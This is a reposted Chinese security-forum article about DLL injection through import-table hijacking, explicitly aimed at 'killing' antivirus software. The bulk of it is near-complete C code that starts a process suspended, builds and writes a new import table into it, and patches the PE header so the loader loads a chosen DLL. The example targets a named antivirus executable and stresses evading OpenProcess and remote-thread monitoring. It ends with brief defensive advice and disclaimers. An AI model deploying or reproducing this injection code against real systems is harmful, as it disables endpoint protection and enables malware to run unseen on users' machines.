利用导入表劫持实现DLL注入以干掉杀毒软件

admin 2026-05-01 05:27:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了利用导入表劫持实现DLL注入的技术,通过修改挂起进程的导入表使其自动加载恶意DLL,从而绕过基于OpenProcess和CreateRemoteThread的常见注入检测。该技术利用CreateProcess返回的进程句柄权限,在进程初始化阶段完成注入,无需创建远程线程,具有较高隐蔽性。文章包含完整的C语言实现代码,涵盖主模块基址查找、内存分配、导入表重构等关键步骤,并分析了该技术的优势与局限性。 综合评分: 85 文章分类: 恶意软件,免杀,红队,内网渗透,渗透测试


cover_image

利用导入表劫持实现DLL注入以干掉杀毒软件

TurkeybraNC TurkeybraNC

看雪学苑

2026年4月30日 17:59 上海

在小说阅读器读本章

去阅读

利用安全软件的白名单进程进行敏感操作,是恶意软件的常见特征。在现代安全软件中,常会通过复杂的权限校验严格限制目标进程的权限。但一些安全软件在防止APC注入时只防止通过OpenProcess获取进程句柄,或者对通过进程句柄继承的句柄限制不严格,导致产生一些问题。

#

本文介绍一种基于导入表劫持的DLL注入技术,该技术通过修改挂起进程的导入表,使目标进程在启动时自动加载恶意DLL,从而绕过常见的注入检测手段。

#

研究与分析

进程注入方式概述

常见的进程注入方式包括:

  • DLL注入:使用CreateRemoteThread+LoadLibrary,将DLL路径写入目标进程并创建远程线程。
  • Shellcode注入:将恶意代码写入目标进程,通过CreateRemoteThread或SetThreadContext执行。
  • APC注入:利用异步过程调用队列,在目标线程处于可警告状态时执行代码。
  • Process Hollowing:创建挂起进程后替换其内存映像。
  • 导入表劫持:修改PE文件的导入表(Import Address Table, IAT),使进程加载时自动引入指定DLL。

其中,APC注入和远程线程注入是安全软件重点监控的对象,通常会检查OpenProcess获取的句柄权限以及CreateRemoteThread调用。而导入表劫持技术不需要在目标进程中创建远程线程,仅需对挂起进程的内存进行修改,且修改操作可通过继承的进程句柄完成,从而规避某些仅对OpenProcess返回的句柄做严格权限检查的安全软件。

通过进程句柄继承方式获取句柄

在Windows中,父进程创建子进程时可以设置bInheritHandles = TRUE,使得子进程继承父进程的可继承句柄。但本技术的核心在于:创建挂起进程后,直接使用CreateProcess返回的进程句柄(pi.hProcess)进行操作

该句柄拥有足够的权限(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_SUSPEND_RESUME等),因为它是创建者自然获得的。许多安全软件在挂钩OpenProcess时只拦截外部进程打开目标进程的行为,而对于通过CreateProcess直接获得的句柄(属于进程创建的自然流程)往往不做严格限制,或者因为性能原因忽略了对该句柄的后续操作检查。

此外,通过继承机制,恶意代码可以预先创建一个高权限的子进程,然后让子进程继承某些敏感句柄,进一步绕过基于进程身份的访问检查。

检查句柄权限

要验证一个进程句柄是否具备所需的操作权限,可以使用GetHandleInformationNtQueryObject。在注入前,代码可以检查PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD等权限。

本例中的CreateProcessAndInjectDll函数直接假定返回的句柄具有足够权限,因为它是合法创建的挂起进程。

// 示例:检查句柄是否具有 VM 操作权限
DWORDaccess =0;
if (GetHandleInformation(hProcess, &access)) {
// 实际权限检查需要使用 NtQueryInformationProcess
}

实践

下面提供的代码实现了通过修改挂起进程的导入表来注入DLL。其核心流程如下:

  • CREATE_SUSPENDED标志创建目标进程,使其主线程挂起。
  • 在目标进程中查找主模块(EXE)的基址。
  • 读取目标进程的PE头(DOS头、NT头)。
  • 保存原有的导入表信息(如果有)。
  • 计算新的导入表所需内存大小,包括新增的DLL导入描述符、IAT(导入地址表)和DLL名字符串。
  • 在目标进程中找到合适的内存区域(靠近主模块基址,以便于相对寻址),分配新的导入表内存。
  • 构建新的导入表数据,将原有导入表内容保留,并在其前面添加一个新条目指向目标DLL。
  • 将新导入表写入目标进程。
  • 修改目标进程的PE头中的导入表目录项(IMAGE_DIRECTORY_ENTRY_IMPORT),指向新导入表。
  • 恢复目标进程的主线程,进程启动时加载器会解析新的导入表,自动加载指定的DLL。

该技术的优点:

  • 无需调用CreateRemoteThreadQueueUserAPC,行为更隐蔽。
  • 不依赖LoadLibrary的远程执行,只需修改内存和PE头。
  • 注入时机在进程初始化阶段,加载器会负责DLL加载,无需额外代码执行。

局限性:

  • 目标进程不能有严格的完整性控制或签名验证。
  • 需要目标进程的PE头可写(通常挂起状态下可写)。
  • 注入的DLL必须与目标进程位数一致(64位/32位)。

#

代码详细解释

下面逐段解释提供的C代码。

头文件和宏定义

#ifndef _WIN64
#error This implementation requires 64-bit compilation.
#endif

确保编译为64位,因为代码中使用了IMAGE_NT_HEADERS64等64位结构。

辅助函数

#define MM_ALLOCATION_GRANULARITY 0x10000

staticinline DWORD PadToDword(DWORD dw) {
return (dw + 3) & ~3u;
}

staticinline DWORD PadToDwordPtr(DWORD dw) {
return (dw + 7) & ~7u;
}
  • PadToDword:将大小对齐到4字节边界(DWORD对齐)。
  • PadToDwordPtr:对齐到8字节边界(指针大小对齐)。
static HRESULT DWordAdd(DWORD a, DWORD b, DWORD* pResult) {
ULONGLONGull = (ULONGLONG)a + b;
if (ull > 0xFFFFFFFF) return E_FAIL;
    *pResult = (DWORD)ull;
return S_OK;
}

static HRESULT DWordMult(DWORD a, DWORD b, DWORD* pResult) {
ULONGLONGull = (ULONGLONG)a * b;
if (ull > 0xFFFFFFFF) return E_FAIL;
    *pResult = (DWORD)ull;
return S_OK;
}

安全的32位整数加法和乘法,防止溢出。

查找目标进程的主模块基址

static HMODULE FindMainModuleInProcess(HANDLE hProcess) {
    PBYTE pbLast = 0;
    MEMORY_BASIC_INFORMATION mbi;

while (VirtualQueryEx(hProcess, (PVOID)pbLast, &mbi, sizeof(mbi)) != 0) {
// 跳过无效区域
if ((mbi.RegionSize & 0xfff) == 0xfff) break;
if&nbsp;((PBYTE)mbi.BaseAddress + mbi.RegionSize < pbLast)&nbsp;break;

if&nbsp;(mbi.State != MEM_COMMIT ||
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (mbi.Protect & (PAGE_NOACCESS | PAGE_GUARD)) !=&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pbLast = (PBYTE)mbi.BaseAddress + mbi.RegionSize;
continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; IMAGE_DOS_HEADER idh;
if&nbsp;(!ReadProcessMemory(hProcess, mbi.BaseAddress, &idh,&nbsp;sizeof(idh),&nbsp;NULL))
goto&nbsp;next;

if&nbsp;(idh.e_magic != IMAGE_DOS_SIGNATURE)
goto&nbsp;next;

&nbsp; &nbsp; &nbsp; &nbsp; IMAGE_NT_HEADERS32 inh32;
if&nbsp;(!ReadProcessMemory(hProcess, (PBYTE)mbi.BaseAddress + idh.e_lfanew,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &inh32,&nbsp;sizeof(inh32),&nbsp;NULL))
goto&nbsp;next;

if&nbsp;(inh32.Signature != IMAGE_NT_SIGNATURE)
goto&nbsp;next;

if&nbsp;(inh32.FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64)
goto&nbsp;next;

&nbsp; &nbsp; &nbsp; &nbsp; IMAGE_NT_HEADERS64 inh64;
if&nbsp;(!ReadProcessMemory(hProcess, (PBYTE)mbi.BaseAddress + idh.e_lfanew,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &inh64,&nbsp;sizeof(inh64),&nbsp;NULL))
goto&nbsp;next;

// 如果不是DLL,则认为是主模块(EXE)
if&nbsp;(!(inh64.FileHeader.Characteristics & IMAGE_FILE_DLL))
return&nbsp;(HMODULE)mbi.BaseAddress;

&nbsp; &nbsp; next:
&nbsp; &nbsp; &nbsp; &nbsp; pbLast = (PBYTE)mbi.BaseAddress + mbi.RegionSize;
&nbsp; &nbsp; }
return&nbsp;NULL;
}

该函数通过遍历目标进程的内存区域,寻找符合PE格式且不是DLL的模块,即主可执行文件。它检查DOS签名、NT签名、机器类型(AMD64),并确认不是DLL,返回基址。

在目标进程中找到合适的内存区域分配新表

static PBYTE FindAndAllocateNearBase(HANDLE hProcess,
&nbsp; &nbsp; PBYTE pbModule,
&nbsp; &nbsp; PBYTE pbBase,
&nbsp; &nbsp; DWORD cbAlloc)
{
&nbsp; &nbsp; MEMORY_BASIC_INFORMATION mbi;
&nbsp; &nbsp; PBYTE pbLast = pbBase;

for&nbsp;(;; pbLast = (PBYTE)mbi.BaseAddress + mbi.RegionSize) {
&nbsp; &nbsp; &nbsp; &nbsp; ZeroMemory(&mbi, sizeof(mbi));
if&nbsp;(VirtualQueryEx(hProcess, (PVOID)pbLast, &mbi, sizeof(mbi)) ==&nbsp;0) {
if&nbsp;(GetLastError() == ERROR_INVALID_PARAMETER)&nbsp;break;
break;
&nbsp; &nbsp; &nbsp; &nbsp; }

if&nbsp;((mbi.RegionSize &&nbsp;0xfff) ==&nbsp;0xfff)&nbsp;break;
if&nbsp;(mbi.State != MEM_FREE)&nbsp;continue;

&nbsp; &nbsp; &nbsp; &nbsp; PBYTE pbAddress = (PBYTE)mbi.BaseAddress > pbBase ? (PBYTE)mbi.BaseAddress : pbBase;
const&nbsp;DWORD_PTR granularity = MM_ALLOCATION_GRANULARITY -&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; pbAddress = (PBYTE)(((DWORD_PTR)pbAddress + granularity) & ~granularity);

// 检查分配后地址是否在 2GB 范围内(相对于主模块)
if&nbsp;((size_t)(pbAddress + cbAlloc -&nbsp;1&nbsp;- pbModule) >&nbsp;0xFFFFFFFF)
return&nbsp;NULL;

for&nbsp;(; pbAddress < (PBYTE)mbi.BaseAddress + mbi.RegionSize;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pbAddress += MM_ALLOCATION_GRANULARITY) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PBYTE pbAlloc = (PBYTE)VirtualAllocEx(hProcess, pbAddress, cbAlloc,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MEM_RESERVE | MEM_COMMIT,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PAGE_READWRITE);
if&nbsp;(pbAlloc != NULL)
return&nbsp;pbAlloc;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
return&nbsp;NULL;
}

此函数在目标进程的指定基址(pbBase)附近查找空闲内存区域,并以64KB粒度尝试分配。目的是使新分配的导入表地址与主模块基址的偏移量不超过32位有符号范围(2GB),以便在PE头中使用32位RVA。如果分配的内存太远,则加载器可能无法正确解析。

核心注入函数

BOOL&nbsp;CreateProcessAndInjectDll(
&nbsp; &nbsp; LPCWSTR lpApplicationName,
&nbsp; &nbsp; LPWSTR lpCommandLine,
&nbsp; &nbsp; LPSECURITY_ATTRIBUTES lpProcessAttributes,
&nbsp; &nbsp; LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL&nbsp;bInheritHandles,
&nbsp; &nbsp; DWORD dwCreationFlags,
&nbsp; &nbsp; LPVOID lpEnvironment,
&nbsp; &nbsp; LPCWSTR lpCurrentDirectory,
&nbsp; &nbsp; LPSTARTUPINFOW lpStartupInfo,
&nbsp; &nbsp; LPPROCESS_INFORMATION lpProcessInformation,
&nbsp; &nbsp; LPCSTR lpDllName)

参数类似CreateProcess,额外增加lpDllName指定要注入的DLL路径(ANSI字符串)。

1. 创建挂起进程

if&nbsp;(!CreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes,
&nbsp; &nbsp; lpThreadAttributes, bInheritHandles, dwCreationFlags | CREATE_SUSPENDED,
&nbsp; &nbsp; lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation))
return&nbsp;FALSE;

强制添加CREATE_SUSPENDED标志,使主线程挂起,便于修改内存。

2. 获取主模块基址

HMODULE hModule =&nbsp;FindMainModuleInProcess(hProcess);
if&nbsp;(hModule ==&nbsp;NULL)&nbsp;goto&nbsp;fail;

3. 读取PE头并清空绑定导入表

// 读取 DOS 头和 NT 头
// ...
// 清除绑定导入表,避免冲突
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress =&nbsp;0;
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size =&nbsp;0;

绑定导入表会预先计算函数地址,如果存在可能会干扰新添加的导入项,因此清空。

4. 保存原有导入表

DWORDoldImportRVA&nbsp;=&nbsp;inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
DWORDoldImportSize&nbsp;=&nbsp;inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
if&nbsp;(oldImportRVA !=&nbsp;0) {
// 如果 Size 为 0,则通过遍历描述符计算实际大小
// 读取原有导入描述符数组到 pOldImportDesc
}

保留原有导入表,以便在后面合并时拷贝。

5. 计算新导入表大小

DWORDnDlls&nbsp;=1; &nbsp;// 注入一个 DLL
// 计算所需总字节数:新导入描述符 + 旧导入描述符 + IAT + DLL名字符串
// obRem = 新描述符大小 (sizeof(IMAGE_IMPORT_DESCRIPTOR) * nDlls)
// obOld = obRem + 旧描述符大小
// obTab = 对齐到8字节
// stSize = IAT大小 (每个DLL需要4个IMAGE_THUNK_DATA64,两个用于INT,两个用于IAT)
// obDll = obTab + stSize
// obStr = obDll
// cbNew = obStr + DLL名字符串长度(对齐后)

代码中每个DLL预留了4个IMAGE_THUNK_DATA64条目,其中两个用于导入名称表(INT),两个用于导入地址表(IAT)。

6. 在目标进程中分配新导入表内存

PBYTE pbBase = (PBYTE)hModule + inh.OptionalHeader.BaseOfCode
&nbsp; &nbsp; +&nbsp;inh.OptionalHeader.SizeOfCode
&nbsp; &nbsp; +&nbsp;inh.OptionalHeader.SizeOfInitializedData
&nbsp; &nbsp; +&nbsp;inh.OptionalHeader.SizeOfUninitializedData;
if ((PBYTE)hModule > pbBase) pbBase = (PBYTE)hModule;

pbNewIid = FindAndAllocateNearBase(hProcess, (PBYTE)hModule, pbBase, cbNew);

pbBase是一个启发式的起始地址,通常在代码段、数据段之后,试图在靠近主模块的地方分配内存。

7. 构建新导入表数据(本地缓冲区)

pbNew = (PBYTE)malloc(cbNew);
ZeroMemory(pbNew, cbNew);
PIMAGE_IMPORT_DESCRIPTORpiid&nbsp;=&nbsp;(PIMAGE_IMPORT_DESCRIPTOR)pbNew;

// 拷贝原有导入描述符到数组后面(偏移 nDlls 处)
if&nbsp;(nOldDlls >&nbsp;0&nbsp;&& pOldImportDesc != NULL) {
&nbsp; &nbsp; CopyMemory(&piid[nDlls], pOldImportDesc, nOldDlls * sizeof(IMAGE_IMPORT_DESCRIPTOR));
}

DWORDobCur&nbsp;=&nbsp;obTab;
for&nbsp;(DWORDn&nbsp;=0; n < nDlls; n++) {
DWORDintOffset&nbsp;=&nbsp;obBase + obCur;
DWORDiatOffset&nbsp;=&nbsp;obBase + obCur + (2&nbsp;* sizeof(IMAGE_THUNK_DATA64));

&nbsp; &nbsp; piid[n].OriginalFirstThunk = intOffset; &nbsp;// INT RVA
&nbsp; &nbsp; piid[n].FirstThunk = iatOffset; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// IAT RVA
&nbsp; &nbsp; piid[n].Name = obBase + obStr; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// DLL名字符串 RVA

PIMAGE_THUNK_DATA64pThunk&nbsp;=&nbsp;(PIMAGE_THUNK_DATA64)(pbNew + obCur);
&nbsp; &nbsp; pThunk[0].u1.Ordinal = IMAGE_ORDINAL_FLAG64 |&nbsp;1;&nbsp;// 按序号导入,序号1
&nbsp; &nbsp; pThunk[1].u1.Ordinal =&nbsp;0; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 结束标志
&nbsp; &nbsp; pThunk[2].u1.Ordinal = IMAGE_ORDINAL_FLAG64 |&nbsp;1;&nbsp;// IAT 部分重复
&nbsp; &nbsp; pThunk[3].u1.Ordinal =&nbsp;0;

&nbsp; &nbsp; obCur +=&nbsp;4&nbsp;* sizeof(IMAGE_THUNK_DATA64);

char* pName = (char*)pbNew + obStr;
&nbsp; &nbsp; strcpy_s(pName, cbNew - obStr, rlpDlls[n]);
&nbsp; &nbsp; obStr += PadToDword((DWORD)strlen(rlpDlls[n]) +&nbsp;1);
}

这里构造的导入描述符使用了序号导入(IMAGE_ORDINAL_FLAG64 | 1),这意味着它要求目标DLL导出序号为1的函数。实际中,为了确保DLL被加载但不一定要调用某个函数,可以改为按名字导入一个存在的函数(如DllMain),或者利用延迟加载机制。

8. 将新导入表写入目标进程

if&nbsp;(!WriteProcessMemory(hProcess, pbNewIid, pbNew, obStr,&nbsp;NULL))&nbsp;goto&nbsp;fail;

obStr是写入的总长度。

9. 修改目标进程的PE头

// 修改 NT 头所在内存页为可写
VirtualProtectEx(hProcess, (PBYTE)hModule + idh.e_lfanew,&nbsp;sizeof(inh), PAGE_READWRITE, &dwProtect);

// 更新导入表目录项
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = (DWORD)(pbNewIid - (PBYTE)hModule);
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = cbNew;
// 可选:如果 IAT 目录为空,也指向新导入表
if&nbsp;(inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress ==&nbsp;0) {
&nbsp; &nbsp; inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = (DWORD)(pbNewIid - (PBYTE)hModule);
&nbsp; &nbsp; inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = cbNew;
}
inh.OptionalHeader.CheckSum =&nbsp;0; &nbsp;// 清零校验和,避免加载失败

WriteProcessMemory(hProcess, (PBYTE)hModule + idh.e_lfanew, &inh,&nbsp;sizeof(inh),&nbsp;NULL);
VirtualProtectEx(hProcess, (PBYTE)hModule + idh.e_lfanew,&nbsp;sizeof(inh), dwProtect, &dwProtect);

10. 恢复进程执行

if (!(dwCreationFlags & CREATE_SUSPENDED))
ResumeThread(lpProcessInformation->hThread);

由于我们总是添加了CREATE_SUSPENDED,所以这里恢复线程。进程开始运行,加载器会解析新的导入表,加载指定的DLL。

主函数示例

int&nbsp;wmain(int&nbsp;argc,&nbsp;wchar_t* argv[])
{
&nbsp; &nbsp; LPCWSTR exePath = L"C:\\Program Files\\Huorong\\Sysdiag\\bin\\HipsMain.exe";
&nbsp; &nbsp; LPCSTR dllPath =&nbsp;"C:\\Users\\lenovo\\a64.dll";

&nbsp; &nbsp; STARTUPINFOW si = {&nbsp;sizeof(si) };
&nbsp; &nbsp; PROCESS_INFORMATION pi = {&nbsp;0&nbsp;};
BOOL&nbsp;result = CreateProcessAndInjectDll(
&nbsp; &nbsp; &nbsp; &nbsp; exePath,&nbsp;NULL,&nbsp;NULL,&nbsp;NULL,&nbsp;FALSE,&nbsp;0,&nbsp;NULL,&nbsp;NULL, &si, &pi, dllPath
&nbsp; &nbsp; );

if&nbsp;(!result) {
&nbsp; &nbsp; &nbsp; &nbsp; DWORD err = GetLastError();
return&nbsp;1;
&nbsp; &nbsp; }
&nbsp; &nbsp; WaitForSingleObject(pi.hProcess, INFINITE);
&nbsp; &nbsp; CloseHandle(pi.hProcess);
&nbsp; &nbsp; CloseHandle(pi.hThread);
return&nbsp;0;
}

该示例启动C:\Program Files\Huorong\Sysdiag\bin\HipsMain.exe,向其注入a64.dll,然后等待HipsDaemon.exe进程结束。

效果

绕过安全软件检测的原理

许多安全软件对进程注入的监控点包括:

  • OpenProcess:当进程A尝试打开进程B时,检查权限和调用者信誉。
  • CreateRemoteThread/NtCreateThreadEx:检测远程线程创建。
  • QueueUserAPC:检测APC注入。
  • WriteProcessMemory+CreateRemoteThread组合行为。

本技术的特点:

  • 无需调用OpenProcess:使用的句柄直接来自
  • CreateProcess,属于进程创建的自然结果。安全软件如果只钩住OpenProcess,则无法监控到后续的WriteProcessMemoryVirtualProtectEx操作(除非也钩住这些函数并检查句柄来源)。
  • 无需创建远程线程:DLL加载由进程自身的加载器完成,不产生额外的线程创建事件。
  • 修改PE头:这属于非常规操作,但许多安全软件不会严格检查挂起进程的PE头修改,尤其当句柄是合法继承而来时。

当然,高级安全软件会监控VirtualAllocExWriteProcessMemoryVirtualProtectEx以及PE头的完整性。但通过精心选择目标进程(如白名单程序),并在合法上下文中操作,仍可能绕过部分防御。

总结

本文展示了一种基于导入表劫持的DLL注入技术,通过创建挂起进程并修改其导入表,实现隐蔽的DLL加载。该技术绕过了依赖OpenProcess和远程线程检测的传统安全机制,但也需要目标进程可写且未受严格保护。在实际对抗中,防御方应加强对WriteProcessMemory和PE头修改的行为监控,同时检测异常的导入表变化。对于开发者,应避免使用CREATE_SUSPENDED启动关键进程,或启用进程完整性验证(如Protected Process Light)。

免责声明:本文提供的代码仅用于安全研究和教育目的,请勿用于非法活动。

#

看雪ID:TurkeybraNC

https://bbs.kanxue.com/user-home-982720.htm

*本文为看雪论坛优秀文章,由 TurkeybraNC 原创,转载请注明来自看雪社区

往期推荐

安卓逆向基础知识之frida Hook

2025 强网杯和强网拟态部分题解

在逆向分析方面-unidbg真的适合 MCP 吗?

AI静态分析,内核模块隐藏 Frida 特征,绕过linker私有结构遍历崩溃链

某安全so库深度解析

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 TurkeybraNC TurkeybraNC《利用导入表劫持实现DLL注入以干掉杀毒软件》

评论:0   参与:  0